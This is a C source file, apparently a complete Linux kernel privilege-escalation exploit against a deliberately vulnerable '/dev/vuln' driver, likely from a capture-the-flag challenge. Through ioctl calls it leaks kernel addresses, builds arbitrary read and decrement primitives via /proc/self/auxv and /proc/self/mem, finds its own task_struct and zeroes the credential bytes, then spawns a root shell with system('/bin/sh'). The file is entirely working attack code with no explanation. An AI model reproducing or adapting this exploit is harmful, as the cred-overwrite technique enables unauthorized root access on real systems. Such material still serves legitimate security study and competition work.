1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
| #include "mykernel.h"
#define CMD_READ 0x1337 #define CMD_WRITE 0x1338
typedef struct { int fd; long val; } req_t;
size_t dev_read(int fd_dev, int fd){ req_t arg = { .fd = fd, .val = 0, }; ioctl(fd_dev, CMD_READ, &arg); return arg.val; }
int dev_write(int fd_dev, int fd, size_t val){ req_t arg = { .fd = fd, .val = val, }; return ioctl(fd_dev, CMD_WRITE, &arg); }
typedef struct fd_addr { int fd; size_t addr; } object;
char buffer[0x1000];
void arbitary_read_offset(int fd_dev, int fd_auxv, size_t addr, size_t offset) { dev_write(fd_dev, fd_auxv, addr-0x198+offset); lseek(fd_auxv, 0, SEEK_SET); read(fd_auxv, buffer+offset, 0x100); }
size_t arbitary_read(int fd_dev, int fd_auxv, size_t addr) { dev_write(fd_dev, fd_auxv, addr-0x198); lseek(fd_auxv, 0, SEEK_SET); read(fd_auxv, buffer, 0x1000); return *(size_t *)buffer; }
void arbitary_sub1(int fd_dev, size_t addr) { int fd_mem = open("/proc/self/mem", O_RDWR); dev_write(fd_dev, fd_mem, addr); close(fd_mem); }
#define N_FD_MEM 0x300 int fd_mems[N_FD_MEM]; int fd_idx = 0; void prepare_fds() { for(int i=0; i<N_FD_MEM; i++) { fd_mems[i] = open("/proc/self/mem", O_RDWR); if(fd_mems[i]<0) { printf("open /proc/self/mem failed at %d\n", i); exit(-1); } } }
void arbitary_subn(int fd_dev, size_t addr, int n) { for(int i=0; i<n; i++){ dev_write(fd_dev, fd_mems[fd_idx], addr); close(fd_mems[fd_idx]); fd_idx++; } }
int main(){ save_status(); bind_core(0);
int fd = open("/dev/vuln", O_RDWR);
int fd_auxv = open("/proc/self/auxv", O_RDONLY);
size_t heap_addr = dev_read(fd, fd_auxv); printf("heap_addr: %lx\n", heap_addr);
kernel_base = arbitary_read(fd, fd_auxv, (heap_addr&0xfffffffff0000000)+0x9d000)-0x22bf70; printf("kernel_base: %lx\n", kernel_base);
#define INIT_TASK 0xe0c480 #define TASK_STRUCT_CACHE 0x10eeb98 #define CRED_CACHE 0x10efaf0 #define TASKS_OFFSET 0x320 #define COMM_OFFSET 0x5d0 #define USEROFFSET_OFFSET 0xc8 #define USERSIZE_OFFSET 0xcc #define CRED_OFFSET 0x5c8
size_t task_struct_cache = arbitary_read(fd, fd_auxv, kernel_base+TASK_STRUCT_CACHE); printf("task_struct_cache: %lx\n", task_struct_cache);
size_t cred_cache = arbitary_read(fd, fd_auxv, kernel_base+CRED_CACHE); printf("cred_cache: %lx\n", cred_cache);
for(int i=0; i<0xa40-0x320; i++) arbitary_sub1(fd, task_struct_cache+USEROFFSET_OFFSET); arbitary_sub1(fd, task_struct_cache+USERSIZE_OFFSET+2);
arbitary_sub1(fd, cred_cache+USERSIZE_OFFSET);
size_t next_task = kernel_base+INIT_TASK; do { next_task = arbitary_read(fd, fd_auxv, next_task+TASKS_OFFSET+8)-TASKS_OFFSET; printf("next_task: %lx\n", next_task); arbitary_read(fd, fd_auxv, next_task+COMM_OFFSET); printf("task_struct->comm: %s\n", buffer);
} while(strncmp(buffer, "exploit", 7));
printf("Got it %lx!\n", next_task); size_t cred = arbitary_read(fd, fd_auxv, next_task+CRED_OFFSET); printf("cred: %lx\n", cred);
arbitary_read(fd, fd_auxv, cred+8); prepare_fds(); uint8_t *ptr = buffer; for(int i=0; i<0x20; i++) { printf("round %d\n", i); hex_dump(ptr, 0x20); if ((*((uint32_t *)(&ptr[i]))&0xffffff00) == 0) { arbitary_subn(fd, cred+8+i+3, 1); arbitary_read_offset(fd, fd_auxv, cred+8, i); } arbitary_subn(fd, cred+8+i, ptr[i]); arbitary_read_offset(fd, fd_auxv, cred+8, i); }
system("/bin/sh");
sleep(10000);
return 0; }
|